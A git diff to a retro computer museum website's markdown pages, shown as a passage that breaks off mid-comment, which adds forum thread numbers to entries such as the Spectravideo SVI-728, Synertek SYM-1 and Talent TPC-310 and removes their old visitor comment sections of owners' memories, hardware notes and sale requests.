index 14c1d071..2fbd3a45 100644 --- a/content/museum/spectravideo-svi-728.md +++ b/content/museum/spectravideo-svi-728.md @@ -80,6 +80,7 @@ params: - hardware - emulators - links + forum_thread: 239 photos: - title: SVI 728 subtitle: '' @@ -242,48 +243,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: Jack - date: Wednesday 18th July 2012 - text: |- - All mysteries you need:\ - https://docs.google.com/folder/d/0B4PAyooavj0sVGpFbUVneExlbHM/edit - - enjoy - - author: Laura Seabrook (Australia) - date: Tuesday 3rd July 2012 - text: Ha ha - I wrote a technical manual for this under an alias! Still have my copy of it. - - author: Marq - date: Saturday 3rd March 2012 - text: There have indeed been (at least) two different versions of the keyboard. I''ve seen both in Finland. The other is quite ok, whereas the other is rather awful and has a strange soft feel to it. - - author: Mitch Raitt (Australia) - date: Wednesday 21st September 2011 - text: I ran the Australian SVI users group for a couple of years and can attest that the machines were of very good quality and 100$ MSX complient. I still have my SVI728 (although I have not used it for a few years) and remember with envy the reliable service it gave as yet another PC bites the dust. - - author: McKlain (Spain) - date: Thursday 13rd September 2007 - text: |- - I remember that when I was in school around 1988-89, the computer room had a network of about 30 SVI 728's. All the computers had a grey cartridge connected with a white network cable going somewhere under the floor and the number of the computer marked on the cartridge in black. - - It was all controlled by a computer that the teacher used that now that I see the pictures could be an SV 328. I remember that the colour of the keys was quite unusual. - - When you turned on the computer, instead of the msx-basic you were presented with a login: prompt, but as we only were teached basic we had no idea of the use of that. - - One day I tried to use the number of the computer as the login and it worked! I remember seeing a command prompt, but I had no experience with dos or cp/m. The funny thing is that the teacher noticed it somehow and we were told not to do it again. - - author: Ozan (denizli/TURKiYE) - date: Monday 18th September 2006 - text: when i was 5 and i started to use computer svi -728.Now i am very happy to meet svı-728 second times in my life. i never forget svı-728 - - author: Bill Loguidice (New Jersey, USA) - date: Saturday 17th December 2005 - text: Can anyone confirm if this was released in the US? I've always seen ads for the SV-318 years ago and personally own an SV-328, but I've never seen or heard of the SVI-728 actually making it out. In fact, I'm not even sure if ANY MSX computer made it out here in the US. If anyone can dispute any of this, I'd love to see the evidence, as it's important that I know. Thanks! - - author: CRISTIAN MARTINEZ (RIO GRANDE , ARGENTINA) - date: Sunday 12th January 2003 - text: VENDO SVI 728 related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/spectravideo-svi-738-x-press.md b/content/museum/spectravideo-svi-738-x-press.md index 7caae22f..13c842f3 100644 --- a/content/museum/spectravideo-svi-738-x-press.md +++ b/content/museum/spectravideo-svi-738-x-press.md @@ -63,6 +63,7 @@ params: - adverts - software - links + forum_thread: 276 photos: - title: SVI-730 X'PRESS subtitle: '' @@ -90,72 +91,6 @@ params: - title: Memory upgrade from MSX1 to MSX2 url: http://8bit.yarek.pl/upgrade/svi.msx2/ text: '' - comments: - - author: Niels Roskam (Australia) - date: Friday 29th May 2020 - text: 'P.-S.: What''''s harder to find is a TV with a composite port to connect it to. And more specifically supports the low resolution.' - - author: Niels Roskam (Australia) - date: Friday 29th May 2020 - text: Just last year I brought my 35 year old Spectravideo 738 X''Press from my parents attic to my home in Australia. Still in its original ''laptop'' bag, books, orginal floppies for CPM, MSXDOS, etc. Surprisingly it booted up without problem after all those years. I don''t think they make technology like it anymore. - - author: Jan Nadorp (Nederland) - date: Thursday 10th January 2019 - text: I’am searching for a Spectravideo svi-738 Xpress, who have onze for sale? - - author: Murray (New Zealand ) - date: Saturday 25th June 2016 - text: |- - Hello I,m looking to buy a msx 738,and any software I can get ,,\ - Murraykellyjacob@gmail.com - - Also any 728 with disk drives - - author: Niels Roskam (Australia) - date: Monday 4th April 2016 - text: My first owned computer. My dad never thought I''d pass my high-school exams, so promised to buy me a computer if I did. And I did... what a great computer it was in 1985 with floppy. Only bought one KONAMI cartridge called Kings Valley, and then got into the whole game trading business with mates, of which I could squeeze a whole bunch of 16kb and 32kb games on a single sided 3.5" floppy with 360KB capacity. Was replaced by an Amiga 500 in 1988. - - author: Jan Nadorp (Nederland) - date: Sunday 12th October 2014 - text: |- - Hee Robin ik zie nu pas je reactie, maar ik ben nog steeds interesse. wat Heb je nog, is hij compleet met alle kabels en werk de drive nog etc.\ - Groeten Jan\ - jannad@kabelfoon.nl - - author: Robin van Kaathoven (Netherlands) - date: Wednesday 22nd January 2014 - text: |- - Hey Jan, - - I just found one in the attic. Drop me a line if you''re interested. - - gr - - author: Jan Nadorp (Nederland) - date: Monday 4th November 2013 - text: I am looking for a Spectravideo SVI-738. I had one many years a go, and now Iwant to collect one. - - author: Stefano Jodice (Italy) - date: Friday 21st June 2013 - text: im back on the topic after just a few years... :D the floppy disk only has one head, one side. - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: Jarek Adamski (Poland) - date: Tuesday 19th May 2009 - text: |- - The SVI 738 was sold in Poland by Skadnica Harcerska and the price was 590 000 ZLP, about two times the average monthly income at the time. Many schools have had such machines. However, not much sofware were available and from my experience this is the only MSX known in Poland.\ - Machines sold in Poland had diacritical signs on keyboard (keys ACELNOSZ were replaced) and the character codes were equal to semigraphic codes generated with CODE/GRAPH keys. - - author: Stefano Jodice (ITALY) - date: Thursday 13rd October 2005 - text: |- - If someone wants to read/write under LINUX the MSX-DOS floppies formatted by this machine, it's enough to use the device /dev/fd0u360: - - \# mount /dev/fd0u360 /mnt/floppy -t vfat - - it's also nice to create an entry into /etc/fstab. - - this works for me , though floppy disks formatted under linux\ - (command: fdformat /dev/fd0u360 ; mformat A , /note: i had to temporarily rename /dev/fd0 and replace it with a symbolic link to /dev/fd0u360 since I can't force mformat to open it-mformat always looks for /dev/fd0) cannot be read with the svi738 (and I still dont know why). - - floppy disk geometry: 2 heads, 80 tracks, 9 sectors per track, 512 bytes per sector.\ - who needs images of the boot disks (cp/m 1.1, 2.2 && MSX DOS v.1) can drop me a couple of lines.\ - everyone who can correct me is sincerely welcome. oc_id: 266 source: url: https://web.archive.org/web/20230609190800/http://www.old-computers.com/museum/computer.asp?c=266 diff --git a/content/museum/spica-ines.md b/content/museum/spica-ines.md index 485bb379..34826425 100644 --- a/content/museum/spica-ines.md +++ b/content/museum/spica-ines.md @@ -57,6 +57,7 @@ params: tabs: - photos - links + forum_thread: 940 photos: - title: REAR SIDE subtitle: '' diff --git a/content/museum/sportron-101u.md b/content/museum/sportron-101u.md index b5be2b06..f4eedab7 100644 --- a/content/museum/sportron-101u.md +++ b/content/museum/sportron-101u.md @@ -12,6 +12,7 @@ params: - connectors - emulators - links + forum_thread: 1035 photos: - title: SPORTRON 101U subtitle: '' @@ -62,13 +63,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Giovanni Bernardo (Italy) - date: Sunday 20th January 2013 - text: |- - I''m a rapresentant of an Italian Association about old computers/consolles. I''ve written a detailed article (in italian language) about the Sportron game consolle.\ - Article is located here:\ - http://www.associazione64.it/home/la-consolle-sportron/ related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/starex-502.md b/content/museum/starex-502.md index f06f8ffa..c3ba8737 100644 --- a/content/museum/starex-502.md +++ b/content/museum/starex-502.md @@ -50,6 +50,7 @@ params: value: Unknown tabs: - photos + forum_thread: 1068 photos: - title: STAREX 502 subtitle: '' diff --git a/content/museum/stellar-electronique-combat-lunaire.md b/content/museum/stellar-electronique-combat-lunaire.md index edb07a79..4aedc17a 100644 --- a/content/museum/stellar-electronique-combat-lunaire.md +++ b/content/museum/stellar-electronique-combat-lunaire.md @@ -39,6 +39,7 @@ params: value: 220V AC with built-in transformer tabs: - photos + forum_thread: 716 photos: - title: INSIDE subtitle: '' @@ -48,18 +49,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/combat_lunaire_2.jpg - comments: - - author: Alex Martin (Seattle, WA) - date: Saturday 4th February 2006 - text: Just pick up one of the numerous General Instruments-based systems and get the appropriate version of Tank Battle for it if you would like to play the game and see how it looks on your tv. Some of the more obscure GI systems are quite rare but most are dirt cheap. They were very popular in Europe as Atari did not release the 2600 there for a little while. The craze caught on, but without the original article lots of companies started churning out simple GI-based consoles to satisfy the demand. - - author: Pierre-Emmanuel (Bordeaux, France) - date: Tuesday 10th June 2003 - text: |- - As this system is based on a GI AY-3-8710 chip which is very similar to the GI AY-3-8700 that you can find in the Coleco Combat!, just look at the Combat! screenshot to see what the game looks like.\ - Playing is very simple : each player has 4 control buttons (forward/reverse for each side of the tank) an a fire button. - - author: Elisha (male) (USA) - date: Tuesday 10th June 2003 - text: This is the weirdest system i have ever seen !!! I would like to know how you play the thing and what it the game looks like on your tv screen... oc_id: 733 source: url: https://web.archive.org/web/20230613002708/http://www.old-computers.com/museum/computer.asp?c=733 diff --git a/content/museum/stellar-electronique-micromat.md b/content/museum/stellar-electronique-micromat.md index cbc60784..8853e464 100644 --- a/content/museum/stellar-electronique-micromat.md +++ b/content/museum/stellar-electronique-micromat.md @@ -9,15 +9,12 @@ params: company_name: Stellar Electronique tabs: - photos + forum_thread: 1022 photos: - title: MICROMAT subtitle: '' text: '' image: /media/museum/photos/stellar-electronique_micromat.jpg - comments: - - author: Sly DC (Canada) - date: Thursday 12th August 2021 - text: Did you find the information of this micro computer in the magazine "Le Haut Parleur no.1642 - Mars 1979", because in issue No.1643 on page 143, they wrote that they talked about the Stellar in their previous issue (March 15, 1979) and it uses a Z80 as a "uP" (microprocessor). If anyone has a scan or a copy of this particular magazine, please post a link for pictures/scans. Thanks! $) oc_id: 1049 source: url: https://web.archive.org/web/20230324064254/http://www.old-computers.com/museum/computer.asp?c=1049 diff --git a/content/museum/superlectron-tv-challenger-series-3000-tvc-3000.md b/content/museum/superlectron-tv-challenger-series-3000-tvc-3000.md index 23b9f8d8..ab4b11e8 100644 --- a/content/museum/superlectron-tv-challenger-series-3000-tvc-3000.md +++ b/content/museum/superlectron-tv-challenger-series-3000-tvc-3000.md @@ -53,6 +53,7 @@ params: - software - emulators - links + forum_thread: 1152 photos: - title: FRONT subtitle: '' diff --git a/content/museum/symag-informatique-micromachine-2000-et-3000.md b/content/museum/symag-informatique-micromachine-2000-et-3000.md index caae69b4..d99a2a87 100644 --- a/content/museum/symag-informatique-micromachine-2000-et-3000.md +++ b/content/museum/symag-informatique-micromachine-2000-et-3000.md @@ -38,18 +38,12 @@ params: value: CP/M tabs: - adverts + forum_thread: 448 adverts: - title: FRENCH ADVERT. subtitle: '' text: This is an advert for the Micromachine 4000 but a picture of the Micromachine 2000 and 3000 is inserted for reference... image: /media/museum/pubs/symag_micromachine_pub2.gif - comments: - - author: C (USA) - date: Thursday 12th April 2018 - text: |- - The Micromachine 2000 ran on a Z80A CPU @ 4 MHz and 64Kb RAM. The two 8" floppy disks could hold 500Kb of data each. An extra hard disk could be added, from 5 to 60(!)Mb. It displayed at 512x256 resolution compatible with the Tektronix 4010 terminals. Also, it could run CP/M, BASIC, COBOL, Fortran, Pascal, APL, or Assembler. A French advertisement also proclaims it is compatible with the IBM 3740/34 data entry systems. - - Said advertisement also mentions WordStar and DataStar, which may have been included with the machine. At the bottom right, there is a section labeled "Soon...." presumably listing features to be added to the machine. It includes multiprocessing and 5 1/4-inch diskette drives. oc_id: 453 source: url: https://web.archive.org/web/20230413210433/http://www.old-computers.com/museum/computer.asp?c=453 diff --git a/content/museum/symag-informatique-micromachine-4000.md b/content/museum/symag-informatique-micromachine-4000.md index d5a21849..381e9894 100644 --- a/content/museum/symag-informatique-micromachine-4000.md +++ b/content/museum/symag-informatique-micromachine-4000.md @@ -47,6 +47,7 @@ params: value: Hard-disk planned... tabs: - adverts + forum_thread: 447 adverts: - title: 'FRENCH ADVERT. PAGE #1' subtitle: '' diff --git a/content/museum/symag-informatique-orchidee.md b/content/museum/symag-informatique-orchidee.md index 1225ce7d..8379e567 100644 --- a/content/museum/symag-informatique-orchidee.md +++ b/content/museum/symag-informatique-orchidee.md @@ -55,6 +55,7 @@ params: tabs: - photos - adverts + forum_thread: 526 photos: - title: THE ORCHIDÉE subtitle: '' @@ -69,10 +70,6 @@ params: "**Orchidée : the fabulous computer** (!)\ With Orchidee, discover you can drive a formula 1 computer and never open the hood. Orchidee offers power and speed of a real professional computer with, as a gift, a lot of innovations never yet combined : interchangeable processors, including the fabulous IAPX 186, removable software cartridges, mouse, light pen. Whether you are a computer specialist or not, you have a fabulous professional tool." image: /media/museum/pubs/symag_orchidee_pub_1.jpg - comments: - - author: jef (ny, us) - date: Wednesday 23rd March 2005 - text: wow, what a wierd system! oc_id: 532 source: url: https://web.archive.org/web/20230528100513/http://www.old-computers.com/museum/computer.asp?c=532 diff --git a/content/museum/synertek-sym1.md b/content/museum/synertek-sym1.md index 4835b574..61286b40 100644 --- a/content/museum/synertek-sym1.md +++ b/content/museum/synertek-sym1.md @@ -58,6 +58,7 @@ params: - hardware - links - docs + forum_thread: 837 photos: - title: SYM-1 subtitle: '' @@ -149,90 +150,6 @@ params:  type of document : PDF\  size : 6.6 MB\  source : [6502.org](http://www.6502.org/) - comments: - - author: Ray Holt (United States) - date: Monday 24th October 2022 - text: Thanks to everyone for the nice comments on the SYM-1. It had a good life and I hear some are still using it. Ray Holt SYM-1, Jolt, Super Jolt Designer - - author: Ray Holt (USA) - date: Saturday 18th May 2013 - text: |- - \~rob ... thanks for your kind words.\ - \~ everyone - I see ebay has a couple of SYM-1''s for sale for around $400-$500. Probably not too bad considering the original was around $249. - - Ray\ - SYM-1 Designer - - author: Rob Ward (Australia) - date: Wednesday 4th January 2023 - text: Ray Holt, I am about to publish a youtube video on using the Sym-1 to Oscilloscope driver. I struggled to find it demoed anywhere else. Do you know who wrote that chapter in the manual. Was it you? I would like to give an attribute to the author if possible. Check out my Hackaday site on the Sym-1 to see what I have been up to. - - author: Dave K (USA) - date: Monday 24th June 2019 - text: |- - The description as "quite a copy of the MOS KIM 1" sells the SYM-1 short - its enhanced features went well beyond those of the original. I vaguely remember the cassette modulation being many times faster (maybe 1600 bps vs. 300?), but one of the coolest features I vividly remember was the built-in raster-scan alphanumeric display. The manual had a driver that would generate 1 line x 32 characters, but I modified it to generate 4 lines of text. One resistor, one capacitor, and some software - now that is elegant design! - - I''ve still got my SYM-1 sitting in the closet, and I''m not about to part with it. - - author: Sibo Buringa (Nederland) - date: Tuesday 18th October 2016 - text: |- - I still got one Sym1 with all documentation as well as seperate keyboard, cassettedeck and expansion card (more memory)\ - Status needs to be checked as I didn''t use it for a long time.\ - Pictures when wanted can be provided later on.\ - Availble to be sold. - - Regards,\ - Sibo Buringa - - author: RAVION JF (FRANCE) - date: Saturday 23rd November 2013 - text: |- - Je vends un SYM1 de Synertek complet et en etat de marche.\ - Mis en vente aujourd''hui sur eBay.fr - - author: Dave T. (USA) - date: Wednesday 11th September 2013 - text: |- - I have a Synertek SYM-1 Model one in very good condition. It has 4K of memory (the only upgrade). - - Anyone interested, please email me. Thanks, Dave - - author: michele (italy) - date: Monday 2nd September 2013 - text: if anyone want the sym1 with basic program too and most of the manual that was printed about it..you can write me at my email kenio50@yahoo.it - - author: Philippe Elie (Paris / France) - date: Sunday 1st September 2013 - text: Hello, I collect SBCs (i currently have a KIM1, AIM65, MFP1P,...), I''m looking for a SYM1 (and also a TM990/189 BTW...), if some of you fols have to sell, please let me know. Thanks ! Philippe - - author: Tim - date: Friday 10th May 2013 - text: |- - I actually learned a lot on this board. besides the MAE (Macro Assembler Editor) in ROM there was a somewhat limited BASIC in ROM as well. Synertek also released a companion terminal board with full keyboard a serial interface and a composite video output. The terminal board actually had 2 processors as I recall. Sure beat the old teletype I had previously been using. The SYM-1 also interfaced to a cassette tape deck fairly easily. I remember creating my first programming language on the SYM-1. It turned out to be almost identical to Forth (as I realized halfway through). 21 cassette tapes assembling to 2k of machine code...had to key things modular :) - - Probably the best thing about the SYM-1 was the plethora of I/O pins. At one juncture I was driving a prototype bit slice CPU board with the SYM emulating the microcode and control logic! - - author: Rene Lefebrve (FRANCE) - date: Saturday 16th March 2013 - text: |- - Hi, this is my FIRST computer. I learn to code in assembler on it, and I made some code for des-assemble the 6502 and 8080 program.\ - Now , I''m retired from my jobs of electronician and soft embedded engineer.\ - I play with Arduino, but it''s less fun ...\ - Sorry for my poor english, but I''m a frog eater near Paris.Bye - - author: Woody Baker (USA) - date: Saturday 9th March 2013 - text: In 1979 I took a class at Rosario Beach Marine research station, in Washington state. It was a summer class "Applications of Microprocessors in Biology". Taught by Nelson Edwards, who actually wrote the SYM monitor, we used the SYM-1 for our lab work. My first computer however, was a Motorola DK-2. 1 mhz 6800 with 256 BYTES of ram and 512 BYTES of rom with micbug in it. The SYM-1 was a super neat computer, and would I ever love to have one now! - - author: Shelly (USA) - date: Monday 24th September 2012 - text: Hi, wondering what one of these might be worth? The one I have is called a trainer I believe $ is mounted on a wooden box with knobs. I''m not very techy, just helping a friend unload his treasures. Any help would be much appreciated - - author: Simon Favre (USA) - date: Thursday 13rd September 2012 - text: I have a SYM-1. I worked at Synertek, and used one as a memory chip tester. I bought one for home with employee discount, along with the KTM2-80 single board keyboard module. They worked well together. I used to load programs on it from a reel-to-reel audio tape deck rather than cassettes. I got the BASIC ROM for it. I used the I/O chips to make an EPROM programmer and wrote an assembly program to burn EPROMS. I have full manuals and schematics. I also found that with some mods, S100 static RAM cards would work with it''s I/O connectors. - - author: Ansel_Tk1 - date: Thursday 14th June 2012 - text: Whoa that dude is hard. core. - - author: Rob Ward (Australia) - date: Monday 5th April 2010 - text: |- - Hi Folks,\ - I bought a SYM-1 and worked with it for about 4 years. During that time I added an EEPROM writer and began work on my own keyboard and screen drivers. My previous experience was the NS-SCMP kit and the monitor in that was extremely kludgy compared to the versatile SYM-1''s SYM-MON. I managed to find a 110 Baud Teletype machine I was able to design my keyboard drivers for the scanned keyboard I built and designed and built my own discrete logic video display of 64 characters wide and 32 line high.\ - I wrote the video driver from scratch and it was integrated into the system to vector into these drivers on start up. This was just so cool and because of the elegance of the original SYN-MON it looked seamless! The EEPROM burner was also used to design a character set for the video display as well with 256 custom 8x8 characters. I eventually had the Microsoft 8k ROM BASIC hooked into it, and I just switched it on and the BASIC, screen and keyboard were "live"!!\ - However rather than be satisfied with an AppleII, the SYM-1 had whetted my appetite for a decently written system and that at the time was the other 6502 masterpiece, the 32kBBC Micro. Unlike the AppleII it was much more like the SYM-1 and had its vectoring and modularity of code worked out very nicely. The tape interface was also very clever. I worked on all these machines at home and at school, and the AppleII was not in the race. However popularity in market economies only reflect consumer sentiment not necessarily the elegance of a particular design, anyone who looked closely at the AppleII DOS would probably agree with me.. However the SYM-1 in my formative years was a fantastic eye opener on how to elegantly design a computer system that could grow the user''s experience. Well done Ray, a beautiful bit of work. - - I sold it lock stock and barrel to a person from Sydney University into Astronomy I think, he sent a mate form Melbourne to check it did all I claimed and he bought on the spot. - - Rob oc_id: 856 source: url: https://web.archive.org/web/20230603005508/http://www.old-computers.com/museum/computer.asp?c=856 diff --git a/content/museum/sysdata-eletronica-jr.md b/content/museum/sysdata-eletronica-jr.md index 1c79ae3b..bf724cb9 100644 --- a/content/museum/sysdata-eletronica-jr.md +++ b/content/museum/sysdata-eletronica-jr.md @@ -49,6 +49,7 @@ params: tabs: - photos - adverts + forum_thread: 1289 photos: - title: SYSDATA JR subtitle: '' diff --git a/content/museum/sysdata-eletronica-microcolor.md b/content/museum/sysdata-eletronica-microcolor.md index 9658e051..470c30c5 100644 --- a/content/museum/sysdata-eletronica-microcolor.md +++ b/content/museum/sysdata-eletronica-microcolor.md @@ -70,6 +70,7 @@ params: - emulators - links - docs + forum_thread: 918 hardware: - title: DISK-DRIVE AND JOYSTICK INTERFACE subtitle: Vaporware !!! diff --git a/content/museum/system-formulet-inc-bubcom-80.md b/content/museum/system-formulet-inc-bubcom-80.md index d63901ab..8f631402 100644 --- a/content/museum/system-formulet-inc-bubcom-80.md +++ b/content/museum/system-formulet-inc-bubcom-80.md @@ -58,6 +58,7 @@ params: tabs: - photos - adverts + forum_thread: 344 photos: - title: COMPLETE SYSTEM subtitle: '' @@ -68,35 +69,6 @@ params: subtitle: '' text: Thanks to [Mayura Labo](http://mayura.jp/blog) for this picture image: /media/museum/pubs/bubcom80_pub_1.jpg - comments: - - author: Paul Giers (United States) - date: Monday 7th October 2019 - text: The bubble memory cartridges measured approximately 3" x 2" x 1", fully enclosed except for the bottom, where the connector was recessed in the cartridge housing (similar to a gaming cartridge). I have no idea what the insides of a cartridge look like (too expensive to break open!), so I don''t know what the ''bubble'' in ''bubble memory'' really referred to. - - author: Paul Giers (United States) - date: Monday 7th October 2019 - text: |- - I owned one a Bubcom80 as a Monbusho Scholar at Kyoto University from 1983-85. I used it to pre-process survey data on social networks and access to legal resources as part of a study of women''s litigation behavior (or lack thereof). The data eventually went in to the University mainframe as a 3-ft long stack of punch cards.\ - The two expansion slots held 32kb bubble memory cartridges, which if I remember correctly served essentially as RAM. Each of the 2 8" floppy drives dwarfed modern desktop towers is size and weight.\ - I brought the darn thing back to the States with me (it took up almost half my shipping allotment) and lugged it around for many years before discarding it. Man, do I wish I had kept it to show my grandchildren! - - Paul J. Giers Jr\ - Charlotte, NC - - author: Maurizio Sorrentino (Italia) - date: Wednesday 11th January 2017 - text: |- - il riferimento si trova a pag.34 del libro:\ - Considerations for Use of Microcomputers in Developing Country Statistical Offices: Final Report : - - "In one of these system, the Bubcom 80, a 32Kb memory cartridge was priced at $ 175 in mid-1982." - - Da Google Libri. - - author: Maurizio Sorrentino (Italia) - date: Wednesday 11th January 2017 - text: |- - Cercando in rete ho trovato una citazione tecnica sul Bubcom 80 in cui afferma che la memoria ram ammonta a 32kb.\ - Quindi possiamo presupporre che fosse espandibile a 64 Kb ma la configurazione base è di 32Kb. - - https://books.google.it/books?id$C833da8KmJQC$pg$PA34$lpg$PA34$dq$BUBCOM+80$source$bl$ots$MDM4FLDUVg$sig$7xCmoyKFvoO7m9rC0mkFh9-8dFg$hl$it$sa$X$ved$0ahUKEwjGs7Gs0brRAhXCdlAKHbmJBBoQ6AEIYzAO$v$onepage$q$BUBCOM$2080$f$false oc_id: 340 source: url: https://web.archive.org/web/20221203230610/http://www.old-computers.com/museum/computer.asp?c=340 diff --git a/content/museum/systems-group-system-2800.md b/content/museum/systems-group-system-2800.md index ac02f935..172f3667 100644 --- a/content/museum/systems-group-system-2800.md +++ b/content/museum/systems-group-system-2800.md @@ -43,6 +43,7 @@ params: tabs: - photos - adverts + forum_thread: 1297 photos: - title: SYSTEM 2800 subtitle: '' diff --git a/content/museum/t-r-q-talleres-radioelectricos-querol-h-21-video-computer.md b/content/museum/t-r-q-talleres-radioelectricos-querol-h-21-video-computer.md index e3a8419d..6fdd23c4 100644 --- a/content/museum/t-r-q-talleres-radioelectricos-querol-h-21-video-computer.md +++ b/content/museum/t-r-q-talleres-radioelectricos-querol-h-21-video-computer.md @@ -13,6 +13,7 @@ params: - software - emulators - links + forum_thread: 706 photos: - title: USER DOCUMENTATION subtitle: '' @@ -138,10 +139,6 @@ params: - title: VC4000.de url: http://www.vc4000.de text: Website dedicated to the Interton VC4000 (in German) - comments: - - author: Juan MAESTRE (Madrid, SPAIN) - date: Thursday 24th April 2003 - text: Hi, friends. I have a TRQ H-21 with 8 game cartridges. It was a non-very-popular games console in Spain (others than Philips VideoPac, Atari2600 was more popular). Manufactured in Spain by TRQ ("Talleres Radioeléctricos Querol"). I'll send you more information later. related: - /museum/acetronic-mpu-1000-2000 - /museum/cabel-universal-game-computer diff --git a/content/museum/talent-telematica-tpc-310.md b/content/museum/talent-telematica-tpc-310.md index a4cef45c..4de94a96 100644 --- a/content/museum/talent-telematica-tpc-310.md +++ b/content/museum/talent-telematica-tpc-310.md @@ -62,6 +62,7 @@ params: value: Unknown tabs: - photos + forum_thread: 683 photos: - title: SYSTEM subtitle: '' @@ -79,58 +80,6 @@ params: subtitle: '' text: Three 16 KB ROM circuits hold MSX-DOS, MSX-BASIC V.2 and 'Toolbox' software. image: /media/museum/photos/talent_tpc310_inside_1.jpg - comments: - - author: Leo (Argentina) - date: Tuesday 3rd October 2017 - text: TALENT MSX.... tengo para vender de las compu geniales que usaba cuando era chico...cualquier cosa me mandan mail estan en caja y manuales originales - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: DamianWorf (Argentina, Avellaneda) - date: Monday 7th June 2010 - text: |- - En los ´80, me compraron mi primer Talent MSX, y tiempo despues, una Talent MSX2. Estas maquinas tenian un poderoso BASIC, compatible con el GWBASIC de PC. Y tambien tenian muchos juegos, que hasta hoy los disfrutamos...\ - A todos los que quieran recordar viejas y queridas epocas, visiten mi blog: http://www.msxerror51.blogspot.com.\ - Salu2 - - author: ANGELICA CANO FIGUEROA (Tehuacan,. Puebla) - date: Thursday 20th July 2006 - text: QUISIERA SABER SI ALGUIEN TIENE EL SOFTWARE DE PROGRAMACION SPET 5 DE SIEMENS?.....NECESITAMOS REPROGRAMAR UN EQUIPO. - - author: Albino Angulo (Mexico) - date: Saturday 8th July 2006 - text: |- - Que tiempos… mi primera pc fue una compaq presario 433 con 4 mb en ram, HDD de 200 mb y un procesador intel 486 sx en el año de 1994; actualmente la tengo y funciona a la perfeccion pues la logre escalar al maximo que me permitio su diseño con un intel 486 DX2, 20 MB en memoria ram y un HDD de 1 Gb y de perifericos tiene instalado un escaner manual logitech monocromatico, una unidad de CD externa bantam en el puerto LPT1, una unidad zip de 100 Mb externa en el puerto LPT2, una impresora matriz de punto seikosha y el software instalado es el original con el que vino preinstalado: win 3.1, ms word, ms works, excel, corel draw; juegos para el dos: lion king, prince of percia, lotus, jetpack, mario bros 1 , mortal combat 1, street figther y creo que nadamas ademas de dos softwares con los que trabaje programando plc de las marcas siemens llamado step 5 y de omron llamado lss y creanlo o no en infinidad de ocaciones a la fecha los sigo ocupando (y con sus respectivas licencias impresas en papel cartulina..eso no se olvida)haaa y un chorro de diquets originales de instalción 5 1/4 y 3 1/2 (que creo que algunos ya se dañaron)y todos los manuales originales impresos ……actualmente en mi trabajo ocupo una dell pentium 4 pero no cabe duda que los tiempos en donde encontraste tu vocacion son inolvidables…jejeje.\ - Por cierto aprendi a programar las pc..ras….jejeje en pascal 5.0 creo que esa era la version y todabia conservo dos programas con el que pance un examen de programacion en mi etapa de estudiambre. - - author: Carlos Maidana (Rosario, Santa Fe (Argentina)) - date: Saturday 11th February 2006 - text: Hola!, yo tengo una dpc-200a que es la que carlos escobar comenta. Es un bicho bastante raro, hace poco lo pude convertir exitosamente a msx2. Saludos y sigan adelante con la pagina! - - author: Emiliano P. Minaglia (Merlo - Argentina) - date: Thursday 2nd September 2004 - text: Hola, me gusta mucho estar leyendo, y me emociono aun mas, cuando veo que gente de mi edad se vuelve nostalgica con esas deidades de nuestra época...para recordar mejor, busque por cielo y tierra, hasta que la encontré, una TPC-310, con mouse cartuchos, Monitor, cartuchos, Drives 5 1/4 y 3 1/2, Mouse, y dos Joysticks...ese dia no dormí, si hubiese muerto, ni con cirugía me quitaban la sonrisa....y aun sigo sonriendo.. quisiera saber si se puede saber si de la fabrica quedo algo....Modems, o RS232, o algo que haya quedado...es el colofón de la computadora personal casera en Argentina, la pionera. Saludos - - author: Carlos Escobar (Argentina) - date: Friday 16th April 2004 - text: |- - Muy buena información. Tambien existió un modelo de Talent muy pero muy raro. Se trata del DPC200A. Quizá la A sea por Argentina, no se, pero en realidad es una Talent TPC310 modificada con menos memoria y una rom TPC200 para que funcione tal cual una DPC200 MSX1. Lo interesante de este modelo es que siendo un MSX1 tiene un procesador de video (VDP) v9938, y el engine de MSX2 S1985. Si te conseguis una de estas es bastante sencillo modificarla para obtener una TPC310 MSX2.\ - Segun me enteré, este modelo lo fabricó Talent ya que todavía había demanda de DPC200 MSX1, seguramente mas barata que una TPC310. Pero les salía mas barato hacer una TPC310 recortada que importar las partes necesarias para armar una DPC200. Seguramente deben ser de los últimos coletazos de Telematica antes de cerrar, por lo que prácticamente el modelo se desconoce, y además es difícil de encontrar. - - author: Leandro Tami (Mar del Plata, Argentina) - date: Wednesday 14th April 2004 - text: |- - Tengo 21 años, y empeze a programar cuando tendria alrededor de 5 años, con mi MSX DPC-200 que por suerte aun conservo... realmente esto me produce una felicidad enorme y una carga de recuerdos impresionante, sin lugar a dudas eso marcó mi forma de ser, y hoy estudio ingeniería en informática y pienso 23 de las 24hs del día nada más que en computadoras, lo cual disfruto un montón.\ - (por cierto, en esa epoca y con esa edad, obviamente que lo que mas me entretenia eran los juegos más que el BASIC, y para eso la MSX vs. la C64 sale perdiendo de lejos, segun mi opinión :)) - - author: Ernesto (Argentine) - date: Friday 30th January 2004 - text: Thanks for the great info! I am an Argentine who used to own a Talent TPC-310 which was quite good for its age. It sure beat the Commodore 64s which owned most of the market share these days. I paid the equivalent of 800 US Dollars for the TPC310 in 1987, a C64 would sell for about $600 then. The MSX standard did pretty well until the dawn of the 90s when IBM PCs became an affordable alternative, killing the "small" computer market. - - author: Isaac Morales (Mexico) - date: Wednesday 28th January 2004 - text: Tengo 30 años, hace mucho, mucho tiempo, mi primera computadora fue una Mattel Aquarius, hace unos meses, en una venta me encontre con mi vieja computadora, en perfecto estado, la lleve a casa y pude recordar como programar algunos juegos, no puedo describir la emocion y la 